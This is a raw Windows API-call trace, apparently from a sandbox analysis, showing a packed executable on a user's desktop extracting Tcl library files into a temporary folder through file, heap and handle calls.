[0037.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.878] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.878] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.878] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.878] CloseHandle (hObject=0x10c) returned 1 [0037.878] GetLastError () returned 0x0 [0037.878] SetLastError (dwErrCode=0x0) [0037.878] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_tw.msg") returned 64 [0037.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_tw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh_tw.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.878] GetLastError () returned 0x2 [0037.878] SetLastError (dwErrCode=0x2) [0037.878] GetLastError () returned 0x2 [0037.878] SetLastError (dwErrCode=0x2) [0037.878] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_tw.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_tw.msg", lpFilePart=0x0) returned 0x3f [0037.878] GetLastError () returned 0x2 [0037.878] SetLastError (dwErrCode=0x2) [0037.878] GetLastError () returned 0x2 [0037.878] SetLastError (dwErrCode=0x2) [0037.878] GetLastError () returned 0x2 [0037.878] SetLastError (dwErrCode=0x2) [0037.878] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_tw.msg") returned 64 [0037.878] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\zh_tw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\zh_tw.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.878] GetFileType (hFile=0x10c) returned 0x1 [0037.878] htonl (hostlong=0x5a010000) returned 0x15a [0037.878] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.879] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x15a, lpOverlapped=0x0) returned 1 [0037.879] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.879] CloseHandle (hObject=0x10c) returned 1 [0037.880] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.880] htonl (hostlong=0x30000000) returned 0x30 [0037.880] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.880] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.880] GetFileType (hFile=0x10c) returned 0x1 [0037.880] htonl (hostlong=0x7ab25700) returned 0x57b27a [0037.880] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c627a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.880] htonl (hostlong=0xb5260000) returned 0x26b5 [0037.881] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x26b5) returned 0x560088 [0037.881] htonl (hostlong=0xb5260000) returned 0x26b5 [0037.881] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0037.881] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.881] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.881] htonl (hostlong=0xb0800000) returned 0x80b0 [0037.881] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80b0) returned 0x562748 [0037.881] htonl (hostlong=0xb5260000) returned 0x26b5 [0037.881] htonl (hostlong=0xb0800000) returned 0x80b0 [0037.881] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x56a800 [0037.882] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56a800 | out: hHeap=0x530000) returned 1 [0037.882] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.882] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.882] CloseHandle (hObject=0x10c) returned 1 [0037.882] GetLastError () returned 0x0 [0037.882] SetLastError (dwErrCode=0x0) [0037.882] GetLastError () returned 0x0 [0037.882] SetLastError (dwErrCode=0x0) [0037.882] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.882] GetFileType (hFile=0x10c) returned 0x1 [0037.882] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.882] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.882] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.882] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.882] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.882] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.882] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.883] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.883] CloseHandle (hObject=0x10c) returned 1 [0037.883] GetLastError () returned 0x0 [0037.883] SetLastError (dwErrCode=0x0) [0037.883] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4") returned 56 [0037.883] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\opt0.4"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.883] GetLastError () returned 0x2 [0037.883] SetLastError (dwErrCode=0x2) [0037.883] GetLastError () returned 0x2 [0037.883] SetLastError (dwErrCode=0x2) [0037.883] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4", lpFilePart=0x0) returned 0x37 [0037.883] GetLastError () returned 0x2 [0037.883] SetLastError (dwErrCode=0x2) [0037.883] GetLastError () returned 0x2 [0037.883] SetLastError (dwErrCode=0x2) [0037.883] GetLastError () returned 0x2 [0037.883] SetLastError (dwErrCode=0x2) [0037.883] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\opt0.4"), lpSecurityAttributes=0x0) returned 1 [0037.884] GetLastError () returned 0x2 [0037.884] SetLastError (dwErrCode=0x2) [0037.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\optparse.tcl") returned 69 [0037.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\optparse.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\opt0.4\\optparse.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.884] GetLastError () returned 0x2 [0037.884] SetLastError (dwErrCode=0x2) [0037.884] GetLastError () returned 0x2 [0037.884] SetLastError (dwErrCode=0x2) [0037.884] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\optparse.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\optparse.tcl", lpFilePart=0x0) returned 0x44 [0037.884] GetLastError () returned 0x2 [0037.884] SetLastError (dwErrCode=0x2) [0037.884] GetLastError () returned 0x2 [0037.884] SetLastError (dwErrCode=0x2) [0037.884] GetLastError () returned 0x2 [0037.884] SetLastError (dwErrCode=0x2) [0037.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\optparse.tcl") returned 69 [0037.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\optparse.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\opt0.4\\optparse.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.885] GetFileType (hFile=0x10c) returned 0x1 [0037.885] htonl (hostlong=0xb0800000) returned 0x80b0 [0037.885] WriteFile (in: hFile=0x10c, lpBuffer=0x562748*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562748*, lpNumberOfBytesWritten=0x4fcd00*=0x8000, lpOverlapped=0x0) returned 1 [0037.886] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.886] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xb0, lpOverlapped=0x0) returned 1 [0037.886] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.886] CloseHandle (hObject=0x10c) returned 1 [0037.888] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562748 | out: hHeap=0x530000) returned 1 [0037.888] htonl (hostlong=0x30000000) returned 0x30 [0037.888] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.889] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.889] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.889] GetFileType (hFile=0x10c) returned 0x1 [0037.889] htonl (hostlong=0x2fd95700) returned 0x57d92f [0037.889] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c892f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.889] htonl (hostlong=0x6e010000) returned 0x16e [0037.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16e) returned 0x550600 [0037.889] htonl (hostlong=0x6e010000) returned 0x16e [0037.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.889] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.889] htonl (hostlong=0x5f020000) returned 0x25f [0037.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x25f) returned 0x550778 [0037.889] htonl (hostlong=0x6e010000) returned 0x16e [0037.889] htonl (hostlong=0x5f020000) returned 0x25f [0037.889] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.890] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.890] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.890] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.890] CloseHandle (hObject=0x10c) returned 1 [0037.890] GetLastError () returned 0x0 [0037.890] SetLastError (dwErrCode=0x0) [0037.890] GetLastError () returned 0x0 [0037.890] SetLastError (dwErrCode=0x0) [0037.890] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.890] GetFileType (hFile=0x10c) returned 0x1 [0037.890] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.890] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.890] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.890] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.891] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.891] CloseHandle (hObject=0x10c) returned 1 [0037.891] GetLastError () returned 0x0 [0037.891] SetLastError (dwErrCode=0x0) [0037.891] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4") returned 56 [0037.891] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\opt0.4"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.891] GetFileType (hFile=0x10c) returned 0x1 [0037.891] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.891] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.891] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.891] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.891] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.891] CloseHandle (hObject=0x10c) returned 1 [0037.891] GetLastError () returned 0x0 [0037.891] SetLastError (dwErrCode=0x0) [0037.891] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\pkgIndex.tcl") returned 69 [0037.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\pkgIndex.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\opt0.4\\pkgindex.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.892] GetLastError () returned 0x2 [0037.892] SetLastError (dwErrCode=0x2) [0037.892] GetLastError () returned 0x2 [0037.892] SetLastError (dwErrCode=0x2) [0037.892] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\pkgIndex.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\pkgIndex.tcl", lpFilePart=0x0) returned 0x44 [0037.892] GetLastError () returned 0x2 [0037.892] SetLastError (dwErrCode=0x2) [0037.892] GetLastError () returned 0x2 [0037.892] SetLastError (dwErrCode=0x2) [0037.892] GetLastError () returned 0x2 [0037.892] SetLastError (dwErrCode=0x2) [0037.892] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\pkgIndex.tcl") returned 69 [0037.892] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\opt0.4\\pkgIndex.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\opt0.4\\pkgindex.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.892] GetFileType (hFile=0x10c) returned 0x1 [0037.893] htonl (hostlong=0x5f020000) returned 0x25f [0037.893] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.893] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x25f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x25f, lpOverlapped=0x0) returned 1 [0037.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.894] CloseHandle (hObject=0x10c) returned 1 [0037.894] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550778 | out: hHeap=0x530000) returned 1 [0037.894] htonl (hostlong=0x30000000) returned 0x30 [0037.894] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.894] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.894] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.894] GetFileType (hFile=0x10c) returned 0x1 [0037.894] htonl (hostlong=0x9dda5700) returned 0x57da9d [0037.895] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c8a9d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.895] htonl (hostlong=0xb51b0000) returned 0x1bb5 [0037.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bb5) returned 0x55d270 [0037.895] htonl (hostlong=0xb51b0000) returned 0x1bb5 [0037.895] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0037.895] RtlAllocateHeap (HeapHandle=0x530000, 